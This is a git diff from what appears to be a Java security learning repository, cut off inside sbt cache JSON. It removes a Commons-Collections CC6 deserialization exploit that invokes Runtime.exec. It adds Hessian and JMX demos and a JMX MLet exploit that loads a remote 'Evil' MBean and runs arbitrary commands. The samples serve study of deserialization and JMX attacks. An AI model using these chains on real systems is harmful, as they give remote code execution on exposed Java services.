diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 00000000..814baff5 Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore index d23a0b2e..73785437 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ .idea .vscode +.DS_Store /target/ *.html linguist-language=python diff --git a/JavaSecurity/.DS_Store b/JavaSecurity/.DS_Store new file mode 100644 index 00000000..f1b38318 Binary files /dev/null and b/JavaSecurity/.DS_Store differ diff --git a/JavaSecurity/CC/CC6/ser.bin b/JavaSecurity/CC/CC6/ser.bin deleted file mode 100644 index ca0fa59f..00000000 Binary files a/JavaSecurity/CC/CC6/ser.bin and /dev/null differ diff --git a/JavaSecurity/CC/CC6/src/main/java/org/example/FinalCC6EXP.java b/JavaSecurity/CC/CC6/src/main/java/org/example/FinalCC6EXP.java deleted file mode 100644 index 0ae248ac..00000000 --- a/JavaSecurity/CC/CC6/src/main/java/org/example/FinalCC6EXP.java +++ /dev/null @@ -1,54 +0,0 @@ -package org.example; - -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.io.*; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -public class FinalCC6EXP { - public static void main(String[] args) throws Exception{ - Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), - new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), - new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) - }; - ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); - HashMap map = new HashMap(); - Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); - - HashMap map2 = new HashMap(); - - TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); - - map2.put(tiedMapEntry,"bbb"); - map.remove("aaa"); - - Class c = LazyMap.class; - Field fieldfactory = c.getDeclaredField("factory"); - fieldfactory.setAccessible(true); - fieldfactory.set(lazymap,chainedTransformer); - serialize(map2); - unserialize("ser.bin"); - - } - - public static void serialize(Object obj) throws IOException { - ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); - oos.writeObject(obj); - } - - public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ - ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); - Object obj = ois.readObject(); - return obj; - } - -} \ No newline at end of file diff --git a/JavaSecurity/CC/CC6/target/classes/org/example/FinalCC6EXP.class b/JavaSecurity/CC/CC6/target/classes/org/example/FinalCC6EXP.class deleted file mode 100644 index 97dc9677..00000000 Binary files a/JavaSecurity/CC/CC6/target/classes/org/example/FinalCC6EXP.class and /dev/null differ diff --git a/JavaSecurity/CC/CC6/target/classes/org/example/Main.class b/JavaSecurity/CC/CC6/target/classes/org/example/Main.class deleted file mode 100644 index a605efc8..00000000 Binary files a/JavaSecurity/CC/CC6/target/classes/org/example/Main.class and /dev/null differ diff --git a/JavaSecurity/Hession/.gitignore b/JavaSecurity/Hession/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/Hession/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/pom.xml b/JavaSecurity/Hession/HessionLearn/pom.xml new file mode 100644 index 00000000..5bf8695a --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + org.example + Hession + 1.0-SNAPSHOT + + + HessionLearn + + + + com.caucho + hessian + 4.0.63 + + + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java new file mode 100644 index 00000000..e672314c --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java @@ -0,0 +1,37 @@ +package com.hession.test; + +import com.caucho.hessian.io.HessianInput; +import com.caucho.hessian.io.HessianOutput; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.Serializable; + +public class Hessian_Test implements Serializable { + + public static byte[] serialize(T o) throws IOException { + ByteArrayOutputStream bao = new ByteArrayOutputStream(); + HessianOutput output = new HessianOutput(bao); + output.writeObject(o); + System.out.println(bao.toString()); + return bao.toByteArray(); + } + + public static T deserialize(byte[] bytes) throws IOException { + ByteArrayInputStream bai = new ByteArrayInputStream(bytes); + HessianInput input = new HessianInput(bai); + Object o = input.readObject(); + return (T) o; + } + + public static void main(String[] args) throws IOException { + Person person = new Person(); + person.setAge(18); + person.setName("Drunkbaby"); + + byte[] s = serialize(person); + System.out.println((Person) deserialize(s)); + } + +} \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java new file mode 100644 index 00000000..2350bb99 --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java @@ -0,0 +1,29 @@ +package com.hession.test; + +import java.io.Serializable; + +public class Person implements Serializable { + public String name; + public int age; + + public int getAge() { + return age; + } + + @Override + public String toString() { + return super.toString(); + } + + public String getName() { + return name; + } + + public void setAge(int age) { + this.age = age; + } + + public void setName(String name) { + this.name = name; + } +} \ No newline at end of file diff --git a/JavaSecurity/CC/CC6/pom.xml b/JavaSecurity/Hession/pom.xml similarity index 70% rename from JavaSecurity/CC/CC6/pom.xml rename to JavaSecurity/Hession/pom.xml index f95eb4b2..8b655d49 100644 --- a/JavaSecurity/CC/CC6/pom.xml +++ b/JavaSecurity/Hession/pom.xml @@ -5,16 +5,12 @@ 4.0.0 org.example - CC6 + Hession 1.0-SNAPSHOT - - - - commons-collections - commons-collections - 3.2.1 - - + pom + + HessionLearn + 8 diff --git a/JavaSecurity/CC/CC6/src/main/java/org/example/Main.java b/JavaSecurity/Hession/src/main/java/org/example/Main.java similarity index 100% rename from JavaSecurity/CC/CC6/src/main/java/org/example/Main.java rename to JavaSecurity/Hession/src/main/java/org/example/Main.java diff --git a/JavaSecurity/JDK/.DS_Store b/JavaSecurity/JDK/.DS_Store new file mode 100644 index 00000000..a8a3f43f Binary files /dev/null and b/JavaSecurity/JDK/.DS_Store differ diff --git a/JavaSecurity/JDK/JMX/.gitignore b/JavaSecurity/JDK/JMX/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/JDK/JMX/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/pom.xml b/JavaSecurity/JDK/JMX/pom.xml new file mode 100644 index 00000000..409550e6 --- /dev/null +++ b/JavaSecurity/JDK/JMX/pom.xml @@ -0,0 +1,17 @@ + + + 4.0.0 + + org.example + JMX + 1.0-SNAPSHOT + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java new file mode 100644 index 00000000..2cdbca28 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java @@ -0,0 +1,33 @@ +package com.drunkbaby.mlet; + +import java.io.BufferedReader; +import java.io.InputStreamReader; + +public class Evil implements EvilMBean +{ + public String runCommand(String cmd) + { + try { + Runtime rt = Runtime.getRuntime(); + Process proc = rt.exec(cmd); + BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); + BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); + String stdout_err_data = ""; + String s; + while ((s = stdInput.readLine()) != null) + { + stdout_err_data += s+"\n"; + } + while ((s = stdError.readLine()) != null) + { + stdout_err_data += s+"\n"; + } + proc.waitFor(); + return stdout_err_data; + } + catch (Exception e) + { + return e.toString(); + } + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java new file mode 100644 index 00000000..8637c221 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java @@ -0,0 +1,5 @@ +package com.drunkbaby.mlet; + +public interface EvilMBean { + public String runCommand(String cmd); +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java new file mode 100644 index 00000000..152c7878 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java @@ -0,0 +1,66 @@ +package com.drunkbaby.mlet; + +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; +import java.net.MalformedURLException; +import java.util.HashSet; +import java.util.Iterator; + +public class ExploitJMXByRemoteMBean { + + public static void main(String[] args) { + try { +// connectAndOwn(args[0], args[1], args[2]); + connectAndOwn("localhost","1099","open -a Calculator"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { + try { + // step1. 通过rmi创建 jmx连接 + JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); + System.out.println("URL: " + u + ", connecting"); + JMXConnector c = JMXConnectorFactory.connect(u); + System.out.println("Connected: " + c.getConnectionId()); + MBeanServerConnection m = c.getMBeanServerConnection(); + + // step2. 加载特殊MBean:javax.management.loading.MLet + ObjectInstance evil_bean = null; + ObjectInstance evil = null; + try { + evil = m.createMBean("javax.management.loading.MLet", null); + } catch (javax.management.InstanceAlreadyExistsException e) { + evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); + } + // step3:通过MLet加载远程恶意MBean + System.out.println("Loaded "+evil.getClassName()); + Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] + { "http://localhost:4141/evil.html"}, + new String[] { String.class.getName() } ); + + HashSet res_set = ((HashSet)res); + Iterator itr = res_set.iterator(); + Object nextObject = itr.next(); + if (nextObject instanceof Exception) + { + throw ((Exception)nextObject); + } + evil_bean = ((ObjectInstance)nextObject); + + // step4: 执行恶意MBean + System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); + System.out.println("Calling runCommand with: "+command); + Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); + System.out.println("Result: "+result); + } catch (Exception e) + { + e.printStackTrace(); + } + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar new file mode 100644 index 00000000..ba2a5d4b Binary files /dev/null and b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar differ diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html new file mode 100644 index 00000000..6ed4d9dd --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java new file mode 100644 index 00000000..242db8dc --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java @@ -0,0 +1,19 @@ +package org.example; + +public class HelloWorld implements HelloWorldMBean{ + private String name = "Drunkbaby"; + @Override + public void sayhello() { + System.out.println("hello world" + this.name); + } + + @Override + public int add(int x, int y) { + return x + y; + } + + @Override + public String getName() { + return this.name; + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java new file mode 100644 index 00000000..22008cd7 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java @@ -0,0 +1,7 @@ +package org.example; + +public interface HelloWorldMBean { + public void sayhello(); + public int add(int x, int y); + public String getName(); +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java new file mode 100644 index 00000000..407f157b --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java @@ -0,0 +1,7 @@ +package org.example; + +public class Main { + public static void main(String[] args) { + System.out.println("Hello world!"); + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java new file mode 100644 index 00000000..8e04e43c --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java @@ -0,0 +1,32 @@ +package org.example; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.management.remote.JMXConnectorServer; +import javax.management.remote.JMXConnectorServerFactory; +import javax.management.remote.JMXServiceURL; +import java.lang.management.ManagementFactory; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class jmxDemo { + public static void main(String[] args) throws Exception{ + MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); + ObjectName mbsName = new ObjectName("test:type=HelloWorld"); + HelloWorld mbean = new HelloWorld(); + mBeanServer.registerMBean(mbean, mbsName); + + // 创建一个 RMI Registry + Registry registry = LocateRegistry.createRegistry(1099); + // 构造 JMXServiceURL,绑定创建的 RMI + JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); + // 构造JMXConnectorServer,关联 mbserver + JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); + jmxConnectorServer.start(); + System.out.println("JMXConnectorServer is ready"); + + System.out.println("press any key to exit."); + System.in.read(); + + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF new file mode 100644 index 00000000..c304d41c --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Main-Class: org.example.Main + diff --git a/JavaSecurity/JDK/JMX/src/main/resources/evil.html b/JavaSecurity/JDK/JMX/src/main/resources/evil.html new file mode 100644 index 00000000..6ed4d9dd --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/resources/evil.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/.bsp/sbt.json b/JavaSecurity/JDK/Scala1/.bsp/sbt.json new file mode 100644 index 00000000..2386def0 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/.bsp/sbt.json @@ -0,0 +1 @@ +{"name":"sbt","version":"1.10.1","bspVersion":"2.1.0-M1","languages":["scala"],"argv":["/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/jre/bin/java","-Xms100m","-Xmx100m","-classpath","/Users/drunkbaby/Library/Application Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar","xsbt.boot.Boot","-bsp","--sbt-launch-jar=/Users/drunkbaby/Library/Application%20Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar"]} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/build.sbt b/JavaSecurity/JDK/Scala1/build.sbt new file mode 100644 index 00000000..9196b85f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/build.sbt @@ -0,0 +1,8 @@ +ThisBuild / version := "0.1.0-SNAPSHOT" + +ThisBuild / scalaVersion := "2.13.8" + +lazy val root = (project in file(".")) + .settings( + name := "Scala1" + ) diff --git a/JavaSecurity/JDK/Scala1/project/build.properties b/JavaSecurity/JDK/Scala1/project/build.properties new file mode 100644 index 00000000..136f452e --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/build.properties @@ -0,0 +1 @@ +sbt.version = 1.10.1 diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class new file mode 100644 index 00000000..60c7fc58 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache new file mode 100644 index 00000000..d8649da3 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache @@ -0,0 +1 @@ +root diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class new file mode 100644 index 00000000..a53ae31a Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class new file mode 100644 index 00000000..c907dfcf Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class new file mode 100644 index 00000000..c72759da Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class new file mode 100644 index 00000000..2776a0b2 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class new file mode 100644 index 00000000..a05413db Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class new file mode 100644 index 00000000..6ab0da25 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache new file mode 100644 index 00000000..050f36c6 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache @@ -0,0 +1 @@ +sbt.internal.DslEntry \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class new file mode 100644 index 00000000..a0419df4 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class differ diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource new file mode 100644 index 00000000..9d348e7b --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource @@ -0,0 +1 @@ +[[{},{}],{}] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs new file mode 100644 index 00000000..2b158ad8 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs @@ -0,0 +1 @@ +-702981080 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output new file mode 100644 index 00000000..0ff60c10 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime"},"modules":[],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations